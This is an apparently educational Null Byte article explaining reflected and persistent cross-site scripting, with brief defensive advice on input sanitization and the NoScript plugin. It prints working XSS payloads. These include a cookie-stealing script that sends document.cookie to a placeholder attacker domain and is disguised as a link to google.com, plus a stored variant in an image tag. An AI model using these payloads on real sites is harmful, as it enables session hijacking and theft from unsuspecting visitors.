How Cross-Site Scripting (XSS) Attacks Sneak into Unprotected Websites (Plus: How to Block Them) « Null Byte :: WonderHowTo

XSSstands for cross-site scripting, which is a form of web-based exploitation that uses client-side vulnerabilities in a web page to execute malicious JavaScript codes. JavaScript is referred to as "cross-site" because it usually involves an external website containing the malicious code. That code is most commonly used to stealcookieswith a website that the attacker created and hosted on another server. The cookies can then be used to escalate privileges and gain root access to someone's website. XSS can be used for a number of other things, such as crashing users' web browsers. As many as 68% of websites have XSS vulnerabilities.This is not good.What Makes it Happen?When a web developer isn't sanitizing user input by stripping malicious tags (i.e. <script>), the page will then pass on attack vectors to the source of the page and execute it as if it were there originally. The coder needs to sanitize malicious code tags so that the JavaScript isn't "escaping".In thisNull Byte, we will be educating you about XSS attacks and how to defend from them. There are two kinds of XSS exploits—non-persistent and persistent.Non-persistent AttacksNon-persistent attacks are very common and usually found in HTTP queries such as HTML forms and website search bars. When the attack is practiced, it would usually be sent over a trusted domain or over a private message with a link to the XSS attack. Here is an example of what a test for XSS could look like:http://www.example.com/index.php?id="><script>alert(document.cookie)</script>This would cause an alert to appear with your session cookie in the browser, but the web page executed it. What does this mean? It's vulnerable.We could then alter the attack to be directed towards a cookie logging script at our domain, and mask it in HTML and send it to fellow users:<a href="http://www.example.com/index.php?id=" rel="nofollow" target="_blank" ><script>document.location='www.yourdomain.com/cookiestealer.php?c=' + document.cookie</script>">www.google.com</a>That would appear legitimate to the person being attacked. If there was no HTML allowed, you could always mask the link with aURL shortener.Persistent AttacksPersistent attacks are probably what you assume they are—persistent. The effect of persistent XSS attack will remain, not just temporarily effecting a specific user. This is because the attack vector is stored on the server, and the changes to the webpage are permanent. These are commonly executed on forums or on sites where you can customize your webpage with HTML andsavethe malicious JavaScript, rather than just execute it.The attack is performed similar to the last attack, aside from being posted in a static location. Let's take a look at how the attacks will differ:<img src="><script>document.location='www.yourdomain.com/cookiestealer.php?c=' + document.cookie'</script&gt;">Everyone who views this page will have their cookies logged to a remote cookie-logging script.How to Defend YourselfIf you're a web developer, there is only one way to prevent this. Close your tags properly and sanitize input!For the rest of us, there existsNoScript, a plugin forFirefoxthat blocks JavaScript and filters XSS attacks. It allows you to white list and selectively allow which domains have the right to use JavaScript. It is the single best plugin you can have for your browser, hands down.That's all for this Null Byte.I know this is a hard subject to wrap your head around, so if you're a beginner, keep me and the rest of the crew entertained with your questions inIRC!Want to start making money as a white hat hacker?Jump-start your hacking career with our2020 Premium Ethical Hacking Certification Training Bundlefrom the newNull Byte Shopand get over 60 hours of training from cybersecurity professionals.Buy Now (90% off) >Other worthwhile deals to check out:97% off The Ultimate 2021 White Hat Hacker Certification Bundle99% off The 2021 All-in-One Data Scientist Mega Bundle98% off The 2021 Premium Learn To Code Certification Bundle62% off MindMaster Mind Mapping Software: Perpetual LicenseRelatedHow To:Hack websites using cross-site scripting (XSS)How To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 2Hack Like a Pro:How to Hack Web Apps, Part 1 (Getting Started)How To:Find XSS Vulnerable Sites with the Big List of Naughty StringsHow To:Hack a remote Internet browser with XSS ShellHow To:Advanced Techniques to Bypass & Defeat XSS Filters, Part 1How To:Cross Site Scripting (XSS) BasicsHow To:Write an XSS Cookie Stealer in JavaScript to Steal PasswordsHow To:Discover XSS Security Flaws by Fuzzing with Burp Suite, Wfuzz & XSStrikeHow To:Hack Forum Accounts with Password-Stealing PicturesSafari 101:How to Block Cross-Site Tracking on Your iPhoneHack Like a Pro:How to Hack Web Apps, Part 6 (Using OWASP ZAP to Find Vulnerabilities)Exploiting XSS with BeEF:Part 3How To:Beginner's Guide to OWASP Juice Shop, Your Practice Hacking Grounds for the 10 Most Common Web App VulnerabilitiesHow To:Hook Web Browsers with MITMf and BeEFExploiting XSS with BeEF:Part 2Advanced Nmap:Top 5 Intrusive Nmap Scripts Hackers & Pentesters Should KnowNews:Banks Around the World Hit with Repeated DDoS Attacks!Forbes Exploited:XSS Vulnerabilities Allow Phishers to Hijack Sessions & Steal LoginsHow To:Is Your Website Vulnerable to XSS Injections? Here's How to Protect Your VisitorsHow To:How Hackers Steal Your Cash on Trusted Sites & How to Prevent Against ItNews:Easy Skype iPhone Exploit Exposes Your Phone Book & MoreNews:SOPA and PIPA Blackout!Exploiting XSS with BeEF:Part 1How To:Prevent Social Networks from Tracking Your Internet ActivitiesHow To:Use Firefox Add-Ons and Greasemonkey to Make Google+ PerfectHow To:XSS BonusesHow To:Start With Site Setting For Snoft Article Directory ScriptNews:12 Easy Exploits to Raise Thief Skills in SkyrimHow To:Sneak Past Web Filters and Proxy Blockers with Google TranslateNews:Poem of The Day